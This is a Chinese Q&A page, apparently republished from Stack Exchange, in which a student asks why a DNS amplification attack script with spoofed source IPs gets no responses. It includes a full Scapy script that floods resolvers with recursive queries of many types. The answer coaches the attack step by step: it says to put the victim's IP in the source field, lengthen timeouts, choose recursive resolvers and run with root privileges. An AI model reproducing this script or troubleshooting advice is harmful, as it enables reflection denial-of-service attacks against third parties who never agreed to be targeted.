You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

DNS放大攻击本地生效但网络环境无响应,请求排查原因

问题

我基于某开源代码做了少量修改,用来复现DNS放大攻击(学校作业)。当我伪造他人IP运行脚本时,Wireshark能抓到发出的DNS请求,但完全看不到DNS响应。换过热点、其他网络,调整过IP,甚至换了不同版本的同原理代码,都没效果。想知道是ISP拦截了攻击,还是程序本身有问题?

附上修改后的代码:

# Imports
from scapy.all import *
from pprint import pprint
import operator

# Parameters
interface = "eth0"  # Interface you want to use
dns_source = "local-ip"  # IP of that interface
dns_destination = ["ip1", "ip2", "ip3"]  # List of DNS Server IPs

time_to_live = 128  # IP TTL
query_name = "google.com"  # DNS Query Name
query_type = ["ANY", "A", "AAAA", "CNAME", "MX", "NS", "PTR", "CERT", "SRV", "TXT", "SOA"]  # DNS Query Types

# Initialise variables
results = []
packet_number = 0

for i in range(1000):
# Loop through all query types then all DNS servers
    for i in range(0, len(query_type)):
        for j in range(0, len(dns_destination)):
            packet_number += 1

            # Craft the DNS query packet with scapy
            packet = IP(
                src=dns_source, dst=dns_destination[j], ttl=time_to_live) / UDP() / DNS(rd=1,
                qd=DNSQR(qname=query_name,
                qtype=query_type[
                i]))

            # Sending the packet
            try:
                query = sr1(packet, iface=interface, verbose=False, timeout=0.01)
                print("Packet #{} sent!".format(packet_number))
            except:
                print("Error sending packet #{}".format(packet_number))

            # Creating dictionary with received information
            try:
                result_dict = {
                    'dns_destination': dns_destination[j],
                    'query_type': query_type[i],
                    'query_size': len(packet),
                    'response_size': len(query),
                    'amplification_factor': (len(query) / len(packet)),
                    'packet_number': packet_number
                }
                results.append(result_dict)
            except:
                pass

# Sort dictionary by the amplification factor
results.sort(key=operator.itemgetter('amplification_factor'), reverse=True)

# Print results
pprint(results)

可能的原因及排查建议

  • ISP拦截是大概率原因:目前几乎所有主流运营商都会检测并拦截源IP伪造的UDP流量(尤其是DNS这类常用于放大攻击的协议),防止网络被滥用。换热点或其他网络无效,是因为这类防护机制在运营商层面生效,和接入方式无关。

  • 程序本身的潜在问题:

    1. 源IP配置错误:代码中dns_source字段写的是"local-ip",如果要伪造他人IP,这里必须替换成目标受害者的IP,而不是自身网卡的本地IP。若配置错误,要么未实现源IP伪造,要么伪造的IP不可达,DNS服务器的响应根本无法返回。
    2. 超时设置过短:sr1函数的timeout=0.01仅为10毫秒,DNS响应可能还未返回就被判定为超时,建议将超时时间调整为1-2秒。
    3. DNS服务器选择不当:dns_destination中的IP可能是不支持递归查询的服务器,或本身封禁了伪造源IP的请求。可先替换为公开的支持递归的DNS服务器(如8.8.8.8),在不伪造源IP的情况下测试是否能收到响应,排除服务器本身的问题。
    4. 权限不足:发送伪造IP的数据包需要root/管理员权限,若未以高权限运行脚本,可能导致数据包未正常发送(即使Wireshark抓到请求,也需确认权限问题)。
    5. 循环变量冲突:外层循环使用for i in range(1000),内层又用for i in range(0, len(query_type)),会覆盖外层的i变量,虽不影响核心功能,但可能导致逻辑混乱,建议将内层循环变量改为q_type_idx之类的名称。
  • 验证方法:

    1. 关闭源IP伪造测试:将dns_source改为自身真实公网IP,运行脚本查看是否能收到DNS响应。若能收到,说明程序基本正常,问题出在ISP拦截伪造流量。
    2. 确认请求是否到达服务器:若作业允许,使用可查看请求日志的DNS服务器,或在线DNS工具,确认伪造源IP的请求是否真的到达服务器。若服务器未收到,说明ISP拦截了流量;若收到但无响应,可能是服务器拒绝了伪造源IP的请求。

内容的提问来源于stack exchange,提问作者Wannes Paesschesoone

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.05 20:11:06